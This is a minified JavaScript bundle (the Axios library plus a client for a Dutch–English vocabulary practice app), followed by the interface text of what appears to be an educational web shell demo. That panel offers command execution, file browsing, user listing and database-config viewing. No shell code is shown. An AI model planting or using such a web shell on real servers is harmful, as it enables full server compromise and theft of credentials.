o=new AbortController,n,s=function(l){if(!n){n=!0,c();let u=l instanceof Error?l:this.reason;o.abort(u instanceof h?u:new N(u instanceof Error?u.message:u))}},i=e&&setTimeout(()=>{i=null,s(new h(`timeout ${e} of ms exceeded`,h.ETIMEDOUT))},e),c=()=>{t&&(i&&clearTimeout(i),i=null,t.forEach(l=>{l.unsubscribe?l.unsubscribe(s):l.removeEventListener("abort",s)}),t=null)};t.forEach(l=>l.addEventListener("abort",s));let{signal:d}=o;return d.unsubscribe=()=>a.asap(c),d}},Ut=ao;var co=function*(t,e){let r=t.byteLength;if(!e||r<e){yield t;return}let o=0,n;for(;o<r;)n=o+e,yield t.slice(o,n),o=n},lo=async function*(t,e){for await(let r of uo(t))yield*co(r,e)},uo=async function*(t){if(t[Symbol.asyncIterator]){yield*t;return}let e=t.getReader();try{for(;;){let{done:r,value:o}=await e.read();if(r)break;yield o}}finally{await e.cancel()}},Qe=(t,e,r,o)=>{let n=lo(t,e),s=0,i,c=d=>{i||(i=!0,o&&o(d))};return new ReadableStream({async pull(d){try{let{done:l,value:u}=await n.next();if(l){c(),d.close();return}let f=u.byteLength;if(r){let b=s+=f;r(b)}d.enqueue(new Uint8Array(u))}catch(l){throw c(l),l}},cancel(d){return c(d),n.return()}},{highWaterMark:2})};var Re=typeof fetch=="function"&&typeof Request=="function"&&typeof Response=="function",_t=Re&&typeof ReadableStream=="function",fo=Re&&(typeof TextEncoder=="function"?(t=>e=>t.encode(e))(new TextEncoder):async t=>new Uint8Array(await new Response(t).arrayBuffer())),Ht=(t,...e)=>{try{return!!t(...e)}catch{return!1}},mo=_t&&Ht(()=>{let t=!1,e=new Request(E.origin,{body:new ReadableStream,method:"POST",get duplex(){return t=!0,"half"}}).headers.has("Content-Type");return t&&!e}),Wt=64*1024,Ze=_t&&Ht(()=>a.isReadableStream(new Response("").body)),Se={stream:Ze&&(t=>t.body)};Re&&(t=>{["text","arrayBuffer","blob","formData","stream"].forEach(e=>{!Se[e]&&(Se[e]=a.isFunction(t[e])?r=>r[e]():(r,o)=>{throw new h(`Response type '${e}' is not supported`,h.ERR_NOT_SUPPORT,o)})})})(new Response);var po=async t=>{if(t==null)return 0;if(a.isBlob(t))return t.size;if(a.isSpecCompliantForm(t))return(await new Request(E.origin,{method:"POST",body:t}).arrayBuffer()).byteLength;if(a.isArrayBufferView(t)||a.isArrayBuffer(t))return t.byteLength;if(a.isURLSearchParams(t)&&(t=t+""),a.isString(t))return(await fo(t)).byteLength},ho=async(t,e)=>{let r=a.toFiniteNumber(t.getContentLength());return r??po(e)},vt=Re&&(async t=>{let{url:e,method:r,data:o,signal:n,cancelToken:s,timeout:i,onDownloadProgress:c,onUploadProgress:d,responseType:l,headers:u,withCredentials:f="same-origin",fetchOptions:b}=Le(t);l=l?(l+"").toLowerCase():"text";let L=Ut([n,s&&s.toAbortSignal()],i),m,g=L&&L.unsubscribe&&(()=>{L.unsubscribe()}),p;try{if(d&&mo&&r!=="get"&&r!=="head"&&(p=await ho(u,o))!==0){let O=new Request(e,{method:"POST",body:o,duplex:"half"}),k;if(a.isFormData(o)&&(k=O.headers.get("content-type"))&&u.setContentType(k),O.body){let[H,de]=Ge(p,V($e(d)));o=Qe(O.body,Wt,H,de)}}a.isString(f)||(f=f?"include":"omit");let y="credentials"in Request.prototype;m=new Request(e,{...b,signal:L,method:r.toUpperCase(),headers:u.normalize().toJSON(),body:o,duplex:"half",credentials:y?f:void 0});let S=await fetch(m),T=Ze&&(l==="stream"||l==="response");if(Ze&&(c||T&&g)){let O={};["status","statusText","headers"].forEach(at=>{O[at]=S[at]});let k=a.toFiniteNumber(S.headers.get("content-length")),[H,de]=c&&Ge(k,V($e(c),!0))||[];S=new Response(Qe(S.body,Wt,H,()=>{de&&de(),g&&g()}),O)}l=l||"text";let B=await Se[a.findKey(Se,l)||"text"](S,t);return!T&&g&&g(),await new Promise((O,k)=>{re(O,k,{data:B,headers:R.from(S.headers),status:S.status,statusText:S.statusText,config:t,request:m})})}catch(y){throw g&&g(),y&&y.name==="TypeError"&&/Load failed|fetch/i.test(y.message)?Object.assign(new h("Network Error",h.ERR_NETWORK,t,m),{cause:y.cause||y}):h.from(y,y&&y.code,t,m)}});var Ye={http:be,xhr:kt,fetch:vt};a.forEach(Ye,(t,e)=>{if(t){try{Object.defineProperty(t,"name",{value:e})}catch{}Object.defineProperty(t,"adapterName",{value:e})}});var jt=t=>`- ${t}`,go=t=>a.isFunction(t)||t===null||t===!1,Te={getAdapter:t=>{t=a.isArray(t)?t:[t];let{length:e}=t,r,o,n={};for(let s=0;s<e;s++){r=t[s];let i;if(o=r,!go(r)&&(o=Ye[(i=String(r)).toLowerCase()],o===void 0))throw new h(`Unknown adapter '${i}'`);if(o)break;n[i||"#"+s]=o}if(!o){let s=Object.entries(n).map(([c,d])=>`adapter ${c} `+(d===!1?"is not supported by the environment":"is not available in the build")),i=e?s.length>1?`since :
`+s.map(jt).join(`
`):" "+jt(s[0]):"as no adapter specified";throw new h("There is no suitable adapter to dispatch the request "+i,"ERR_NOT_SUPPORT")}return o},adapters:Ye};function et(t){if(t.cancelToken&&t.cancelToken.throwIfRequested(),t.signal&&t.signal.aborted)throw new N(null,t)}function Ie(t){return et(t),t.headers=R.from(t.headers),t.data=ee.call(t,t.transformRequest),["post","put","patch"].indexOf(t.method)!==-1&&t.headers.setContentType("application/x-www-form-urlencoded",!1),Te.getAdapter(t.adapter||J.adapter)(t).then(function(o){return et(t),o.data=ee.call(t,t.transformResponse,o),o.headers=R.from(o.headers),o},function(o){return te(o)||(et(t),o&&o.response&&(o.response.data=ee.call(t,t.transformResponse,o.response),o.response.headers=R.from(o.response.headers))),Promise.reject(o)})}var Ae="1.9.0";var Oe={};["object","boolean","number","function","string","symbol"].forEach((t,e)=>{Oe[t]=function(o){return typeof o===t||"a"+(e<1?"n ":" ")+t}});var qt={};Oe.transitional=function(e,r,o){function n(s,i){return"[Axios v"+Ae+"] Transitional option '"+s+"'"+i+(o?". "+o:"")}return(s,i,c)=>{if(e===!1)throw new h(n(i," has been removed"+(r?" in "+r:"")),h.ERR_DEPRECATED);return r&&!qt[i]&&(qt[i]=!0,console.warn(n(i," has been deprecated since v"+r+" and will be removed in the near future"))),e?e(s,i,c):!0}};Oe.spelling=function(e){return(r,o)=>(console.warn(`${o} is likely a misspelling of ${e}`),!0)};function bo(t,e,r){if(typeof t!="object")throw new h("options must be an object",h.ERR_BAD_OPTION_VALUE);let o=Object.keys(t),n=o.length;for(;n-- >0;){let s=o[n],i=e[s];if(i){let c=t[s],d=c===void 0||i(c,s,t);if(d!==!0)throw new h("option "+s+" must be "+d,h.ERR_BAD_OPTION_VALUE);continue}if(r!==!0)throw new h("Unknown option "+s,h.ERR_BAD_OPTION)}}var ne={assertOptions:bo,validators:Oe};var F=ne.validators,G=class{constructor(e){this.defaults=e||{},this.interceptors={request:new _e,response:new _e}}async request(e,r){try{return await this._request(e,r)}catch(o){if(o instanceof Error){let n={};Error.captureStackTrace?Error.captureStackTrace(n):n=new Error;let s=n.stack?n.stack.replace(/^.+\n/,""):"";try{o.stack?s&&!String(o.stack).endsWith(s.replace(/^.+\n.+\n/,""))&&(o.stack+=`
`+s):o.stack=s}catch{}}throw o}}_request(e,r){typeof e=="string"?(r=r||{},r.url=e):r=e||{},r=D(this.defaults,r);let{transitional:o,paramsSerializer:n,headers:s}=r;o!==void 0&&ne.assertOptions(o,{silentJSONParsing:F.transitional(F.boolean),forcedJSONParsing:F.transitional(F.boolean),clarifyTimeoutError:F.transitional(F.boolean)},!1),n!=null&&(a.isFunction(n)?r.paramsSerializer={serialize:n}:ne.assertOptions(n,{encode:F.function,serialize:F.function},!0)),r.allowAbsoluteUrls!==void 0||(this.defaults.allowAbsoluteUrls!==void 0?r.allowAbsoluteUrls=this.defaults.allowAbsoluteUrls:r.allowAbsoluteUrls=!0),ne.assertOptions(r,{baseUrl:F.spelling("baseURL"),withXsrfToken:F.spelling("withXSRFToken")},!0),r.method=(r.method||this.defaults.method||"get").toLowerCase();let i=s&&a.merge(s.common,s[r.method]);s&&a.forEach(["delete","get","head","post","put","patch","common"],m=>{delete s[m]}),r.headers=R.concat(i,s);let c=[],d=!0;this.interceptors.request.forEach(function(g){typeof g.runWhen=="function"&&g.runWhen(r)===!1||(d=d&&g.synchronous,c.unshift(g.fulfilled,g.rejected))});let l=[];this.interceptors.response.forEach(function(g){l.push(g.fulfilled,g.rejected)});let u,f=0,b;if(!d){let m=[Ie.bind(this),void 0];for(m.unshift.apply(m,c),m.push.apply(m,l),b=m.length,u=Promise.resolve(r);f<b;)u=u.then(m[f++],m[f++]);return u}b=c.length;let L=r;for(f=0;f<b;){let m=c[f++],g=c[f++];try{L=m(L)}catch(p){g.call(this,p);break}}try{u=Ie.call(this,L)}catch(m){return Promise.reject(m)}for(f=0,b=l.length;f<b;)u=u.then(l[f++],l[f++]);return u}getUri(e){e=D(this.defaults,e);let r=oe(e.baseURL,e.url,e.allowAbsoluteUrls);return Z(r,e.params,e.paramsSerializer)}};a.forEach(["delete","get","head","options"],function(e){G.prototype[e]=function(r,o){return this.request(D(o||{},{method:e,url:r,data:(o||{}).data}))}});a.forEach(["post","put","patch"],function(e){function r(o){return function(s,i,c){return this.request(D(c||{},{method:e,headers:o?{"Content-Type":"multipart/form-data"}:{},url:s,data:i}))}}G.prototype[e]=r(),G.prototype[e+"Form"]=r(!0)});var se=G;var tt=class t{constructor(e){if(typeof e!="function")throw new TypeError("executor must be a function.");let r;this.promise=new Promise(function(s){r=s});let o=this;this.promise.then(n=>{if(!o._listeners)return;let s=o._listeners.length;for(;s-- >0;)o._listeners[s](n);o._listeners=null}),this.promise.then=n=>{let s,i=new Promise(c=>{o.subscribe(c),s=c}).then(n);return i.cancel=function(){o.unsubscribe(s)},i},e(function(s,i,c){o.reason||(o.reason=new N(s,i,c),r(o.reason))})}throwIfRequested(){if(this.reason)throw this.reason}subscribe(e){if(this.reason){e(this.reason);return}this._listeners?this._listeners.push(e):this._listeners=[e]}unsubscribe(e){if(!this._listeners)return;let r=this._listeners.indexOf(e);r!==-1&&this._listeners.splice(r,1)}toAbortSignal(){let e=new AbortController,r=o=>{e.abort(o)};return this.subscribe(r),e.signal.unsubscribe=()=>this.unsubscribe(r),e.signal}static source(){let e;return{token:new t(function(n){e=n}),cancel:e}}},Jt=tt;function rt(t){return function(r){return t.apply(null,r)}}function ot(t){return a.isObject(t)&&t.isAxiosError===!0}var nt={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(nt).forEach(([t,e])=>{nt[e]=t});var zt=nt;function Vt(t){let e=new se(t),r=K(se.prototype.request,e);return a.extend(r,se.prototype,e,{allOwnKeys:!0}),a.extend(r,e,null,{allOwnKeys:!0}),r.create=function(n){return Vt(D(t,n))},r}var w=Vt(J);w.Axios=se;w.CanceledError=N;w.CancelToken=Jt;w.isCancel=te;w.VERSION=Ae;w.toFormData=U;w.AxiosError=h;w.Cancel=w.CanceledError;w.all=function(e){return Promise.all(e)};w.spread=rt;w.isAxiosError=ot;w.mergeConfig=D;w.AxiosHeaders=R;w.formToJSON=t=>xe(a.isHTMLForm(t)?new FormData(t):t);w.getAdapter=Te.getAdapter;w.HttpStatusCode=zt;w.default=w;var ie=w;var{Axios:Ci,AxiosError:Pi,CanceledError:Di,isCancel:Ni,CancelToken:Fi,VERSION:Mi,all:Bi,Cancel:ki,isAxiosError:Ui,spread:Wi,toFormData:_i,AxiosHeaders:Hi,HttpStatusCode:vi,formToJSON:ji,getAdapter:qi,mergeConfig:Ji}=ie;var st=class{constructor(){this.API_URL="http://87.106.224.51:5010/api";this.ProdOrDebug="production";this.IsProduction=()=>this.ProdOrDebug==="production";this.IsDebug=()=>this.ProdOrDebug==="development";this.RequestStability=500}},Eo=new st,ae=Eo;var x=class{static async POST(e,r){let o=A.getSessionId()||"";return r=r||{},(await ie.post(ae.API_URL+e,r,{headers:{sessiontoken:o||"","Content-Type":"application/json",Accept:"application/json"}})).data}static async GET(e){let r=A.getSessionId()||"";return(await ie.get(ae.API_URL+e,{headers:{sessiontoken:r||"","Content-Type":"application/json",Accept:"application/json"}})).data}};var Gt=async(t,e)=>{let r="/login/login",o={Email:t,Password:e};try{let n=await x.POST(r,o);if(n&&n.Token&&n.ExpirationDate){let s=new Date(n.ExpirationDate);A.login(n.Token,s)}else throw new Error("Login failed: No session ID returned")}catch(n){throw console.error("Login failed:",n),new Error("Login failed: "+n.message)}},$t=async(t,e,r)=>{let o="/login/register";try{let n={Username:t,Email:e,Password:r},s=await x.POST(o,n);if(s&&s.Token&&s.ExpirationDate){let i=new Date(s.ExpirationDate);A.login(s.Token,i)}else throw new Error("Registration failed: No session ID returned")}catch(n){throw console.error("Registration failed:",n),new Error("Registration failed: "+n.message)}},Kt=async t=>{let e="/login/checksession";try{let r=await x.POST(e);if(!r||!r.message||r.message!=="ok")throw new Error("Invalid session ID");return r}catch(r){console.error("Session check failed:",r);return}};var W=class{static async GetLists(e,r,o,n){let c={page:e,length:r,filters:o||{},sort:n||{}};return await x.POST("/lists/getLists",c)}static async GetMyLists(e,r,o,n){let c={page:e,length:r,filters:o||{},sort:n||{}};return await x.POST("/lists/getMyLists",c)}static async GetSpecificList(e){let r={ListID:e};return await x.POST("/lists/getspecificlist",r)}static async UpdateList(e,r,o,n){let s={ListID:e,Name:r,IsPublic:o,Words:n.map(c=>({Word_EN:c.Word_EN,Word_NL:c.Word_NL,Word_ID:c.Word_ID,WordIndex:c.WordIndex}))};return await x.POST("/lists/updateList",s)}static async DeleteList(e){let r={ListID:e};return await x.POST("/lists/deletelist",r)}static async CreateList(e){let r={Name:e};return await x.POST("/lists/createlist",r)}};var I=class{static log(e){console.log(e)}static error(e){console.log("[ERROR] "+e)}static warn(e){console.log("[WARN] "+e)}static debug(e){ae.IsDebug()&&console.log("[DEBUG] "+e)}static info(e){console.log("[INFO] "+e)}};var ce=class{static async GetUserInfo(){let e=await x.POST("/account/getuserinfo");if(e===void 0){I.error("Failed to fetch user info");return}return e}};var Ce=class{constructor(e,r,o){this.Correct=e,this.Finished=r,this.WordIndex=o}};var Pe=class{constructor(e,r,o,n){this.Question=e,this.Answer=r,this.CorrectAnswer=o,this.Correct=n}},le=class{constructor(e,r,o,n,s,i,c,d,l){this.ListID=e,this.Name=r,this.Description=o,this.WordCount=n,this.PracticeCount=s,this.CreatedAt=i,this.UpdatedAt=c,this.Owner=d,this.IsPublic=l}},De=class{constructor(e,r,o,n,s,i,c,d){this.Orientation=e,this.StartTime=r,this.Duration=o,this.Score=n,this.Words=s,this.CurrentWordIndex=i,this.IsFinished=c,this.ListInfo=d}};var Ne=class{constructor(e,r,o,n,s,i,c,d){this.ListID=e,this.Name=r,this.Description=o,this.WordCount=n,this.CreatedAt=s,this.UpdatedAt=i,this.Owner=c,this.IsPublic=d}},Fe=class{constructor(e,r,o,n,s){this.Word=e,this.WordIndex=r,this.Orientation=o,this.ListInfo=n,this.ExerciseStartedAt=s}};var Xt=async(t,e)=>{let r="/exercise/startexercise",o={listID:t,orientation:e};I.debug("Starting exercise with body: "+JSON.stringify(o));try{if(!await x.POST(r,o))throw new Error("Failed to start exercise: No session ID returned");return}catch(n){throw console.error("Failed to start exercise:",n),new Error("Failed to start exercise: "+n.message)}},Qt=async()=>{let t="/exercise/getword";try{let e=await x.POST(t);if(!e||!e.Word)throw new Error("Failed to get word: No word returned");let r=new Ne(e.ListInfo.ListID,e.ListInfo.Name,e.ListInfo.Description,e.ListInfo.WordCount,new Date(e.ListInfo.CreatedAt),new Date(e.ListInfo.UpdatedAt),e.ListInfo.Owner,e.ListInfo.IsPublic);return new Fe(e.Word,e.WordIndex,e.Orientation,r,new Date(e.ExerciseStartTime))}catch(e){throw console.error("Failed to get word:",e),new Error("Failed to get word: "+e.message)}},Zt=async()=>{let t="/exercise/getresult";try{let e=await x.POST(t);if(!e||!e)throw new Error("Failed to get exercise result: No result returned");let r=[];e&&e.Words&&(r=e.Words.map(s=>new Pe(s.Question,s.Answer,s.CorrectAnswer,s.Correct)));let o;return e&&e.ListInfo?o=new le(e.ListInfo.ListID,e.ListInfo.Name,e.ListInfo.Description,e.ListInfo.WordCount,e.ListInfo.PracticeCount,new Date(e.ListInfo.CreatedAt),new Date(e.ListInfo.UpdatedAt),e.ListInfo.Owner,e.ListInfo.IsPublic):o=new le(0,"","",0,0,new Date,new Date,"",!1),new De(e.Orientation,new Date(e.StartTime),e.Duration,e.Score,r,e.CurrentWordIndex,e.IsFinished,o)}catch(e){throw console.error("Failed to get exercise result:",e),new Error("Failed to get exercise result: "+e.message)}},Yt=async t=>{let e="/exercise/checkanswer",r={answer:t};try{let o=await x.POST(e,r);if(!o)throw new Error("Failed to check answer: No result returned");return new Ce(o.Correct,o.Finished,o.WordIndex)}catch(o){throw console.error("Failed to check answer:",o),new Error("Failed to check answer: "+o.message)}};var _={Login:{Login:Gt,Register:$t,CheckSession:Kt},GetLists:{GetLists:W.GetLists,GetSpecificList:W.GetSpecificList,UpdateList:W.UpdateList,DeleteList:W.DeleteList},Exercise:{StartExercise:Xt,GetWord:Qt,getResult:Zt,CheckAnswer:Yt},Account:{GetUserInfo:ce.GetUserInfo}};var yo=t=>{if(!t){console.error("Invalid URL");return}window.location.href=t},M=yo;var Me=class{constructor(){this.exerciseModuleElement=document.getElementById("exerciseModule");this.exerciseListNameElement=document.getElementById("exerciseListName");this.exerciseListCreatorElement=document.getElementById("exerciseCreatorName");this.exerciseTimerElement=document.getElementById("exerciseTimer");this.exerciseWordAssignmentMessageElement=document.getElementById("exerciseWordAssignmentMessage");this.exerciseWordElement=document.getElementById("exerciseWord");this.exerciseWordInputElement=document.getElementById("exerciseWordInput");this.exerciseProgressBarElement=document.getElementById("exerciseProgressBar");this.exerciseSubmitButtonElement=document.getElementById("exerciseWordSubmitButton");this.exerciseWordNextButtonElement=document.getElementById("exerciseWordNextButton");this.Word="";this.WordIndex=0;this.Orientation="";this.ListName="";this.ListWordCount=0;this.ListCreator="";this.StartTime=new Date(Date.now());this.IsFinished=!1}async Init(e){this.addEventListeners(),setInterval(()=>{this.updateTimer()},500);let r=new URLSearchParams(window.location.search),o=r.get("listid"),n=r.get("orientation");if(I.debug("List ID: "+o),I.debug("Orientation: "+n),!o||isNaN(parseInt(o))||!n||n!=="EN-NL"&&n!=="NL-EN")I.error("Invalid parameters for exercise module.");else{let s,i=!1;try{s=await _.Exercise.getResult()}catch(c){I.error("Failed to start exercise: "+c.message),i=!0}if(s?(s.IsFinished||s.ListInfo.ListID!==parseInt(o)||s.Orientation!==n)&&(i=!0):i=!0,i)try{await _.Exercise.StartExercise(parseInt(o),n),I.debug("Started new exercise.")}catch(c){I.error("Failed to start exercise: "+c.message);return}}await e&&(await this.getWord(),this.updateTimer())}updateTimer(){let e=new Date(Date.now()),r=Math.floor((e.getTime()-this.StartTime.getTime())/1e3),o=Math.floor(r/60),n=r%60,s=n<10?"0"+n:n.toString();this.exerciseTimerElement.innerHTML=`${o.toString()}:${s}`}async submitWord(){let e=this.exerciseWordInputElement.value.trim();if(e==="")return;let r=await _.Exercise.CheckAnswer(e);r&&(r.Finished&&(this.IsFinished=!0),r.Correct?(this.exerciseWordAssignmentMessageElement.innerHTML="Correct!",this.exerciseWordInputElement.classList.add("Correct")):(this.exerciseWordAssignmentMessageElement.innerHTML="Incorrect!",this.exerciseWordInputElement.classList.add("Incorrect")),this.exerciseSubmitButtonElement.classList.add("Hidden"),this.exerciseWordNextButtonElement.classList.remove("Hidden"))}async nextWord(){if(this.IsFinished){$("exerciseFinished","true",{expires:new Date(Date.now()+1e3*10)}),M("./exerciseResult.html");return}this.exerciseWordNextButtonElement.classList.add("Hidden"),this.exerciseSubmitButtonElement.classList.remove("Hidden"),await this.getWord(),this.exerciseWordInputElement.classList.contains("Correct")&&this.exerciseWordInputElement.classList.remove("Correct"),this.exerciseWordInputElement.classList.contains("Incorrect")&&this.exerciseWordInputElement.classList.remove("Incorrect")}async getWord(){let e=await _.Exercise.GetWord();e&&(this.Word=e.Word,this.WordIndex=e.WordIndex,this.Orientation=e.Orientation,this.ListName=e.ListInfo.Name,this.ListWordCount=e.ListInfo.WordCount,this.ListCreator=e.ListInfo.Owner,this.StartTime=e.ExerciseStartedAt,this.updateContent())}async getExerciseInfo(){let e=await _.Exercise.getResult();e&&(this.WordIndex=e.CurrentWordIndex,this.Orientation=e.Orientation,this.ListName=e.ListInfo.Name,this.ListWordCount=e.ListInfo.WordCount,this.ListCreator=e.ListInfo.Owner,this.StartTime=e.StartTime)}updateContent(){this.exerciseListNameElement.innerHTML=this.ListName,this.exerciseListCreatorElement.innerHTML=this.ListCreator,this.exerciseWordAssignmentMessageElement.innerHTML=this.Orientation!==""?this.Orientation==="EN-NL"?"Translate the word to Dutch:":"Translate the word to English:":"Translate the following word:",this.exerciseWordElement.innerHTML=this.Word,this.exerciseWordInputElement.value="",this.updateProgressBar()}updateProgressBar(){let e=document.createElement("div");for(let r=0;r<this.ListWordCount;r++){let o=document.createElement("div");o.classList.add("exerciseProgressBarSegment"),r<this.WordIndex&&o.classList.add("Completed"),r===this.WordIndex&&o.classList.add("Current"),e.appendChild(o)}this.exerciseProgressBarElement.innerHTML=e.innerHTML}addEventListeners(){this.exerciseSubmitButtonElement.addEventListener("click",()=>{this.submitWord()}),this.exerciseWordInputElement.addEventListener("keydown",e=>{e.key==="Enter"&&(this.exerciseWordNextButtonElement.classList.contains("Hidden")?this.submitWord():this.nextWord())}),this.exerciseWordNextButtonElement.addEventListener("click",()=>{this.nextWord()})}};var it=class{constructor(){this.topBar=document.getElementById("top-bar");this.topBarLeft=document.getElementById("top-bar-left");this.topBarRight=document.getElementById("top-bar-right");this.topbar_MyLists=document.getElementById("topbar-MyLists");this.topbar_Logout=document.getElementById("topbar-Logout");this.topbar_Login=document.getElementById("topbar-Login");this.topbar_Register=document.getElementById("topbar-Register");this.topbar_Profile=document.getElementById("topbar-Profile");I.debug("TopBarModule scaffolded.")}async Init(e){this.addEventListeners(),!(e===void 0||await e!==!0)&&(this.topbar_MyLists.style.display="block",this.topbar_Profile.style.display="block",this.topbar_Logout.style.display="block",this.topbar_Login.style.display="none",this.topbar_Register.style.display="none")}async render(){}addEventListeners(){this.topbar_Logout.addEventListener("click",async()=>{confirm("Are you sure you want to log out?")&&(A.logout(),M("./index.html"))}),this.topbar_Login.addEventListener("click",async()=>{M("./login.html")}),this.topbar_Register.addEventListener("click",async()=>{M("./register.html")}),this.topbar_Profile.addEventListener("click",async()=>{M("./accountPage.html")}),this.topbar_MyLists.addEventListener("click",async()=>{M("./myLists.html")})}},er=it;var ue=class t{static async isLoggedIn(){if(!A.isLoggedIn())return!1;let e=A.getSessionId()||"",r=await _.Login.CheckSession(e);return r?(A.UserID=r.UserID,!0):!1}static async checkSession(){return await t.isLoggedIn()||M("./login.html"),!0}};var xo=new Me,wo=new er;async function Lo(){let t=ue.checkSession();wo.Init(t),xo.Init(t),!(t===void 0||await t!==!0)&&I.debug("User is logged in, loading personal content...")}Lo();})();

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!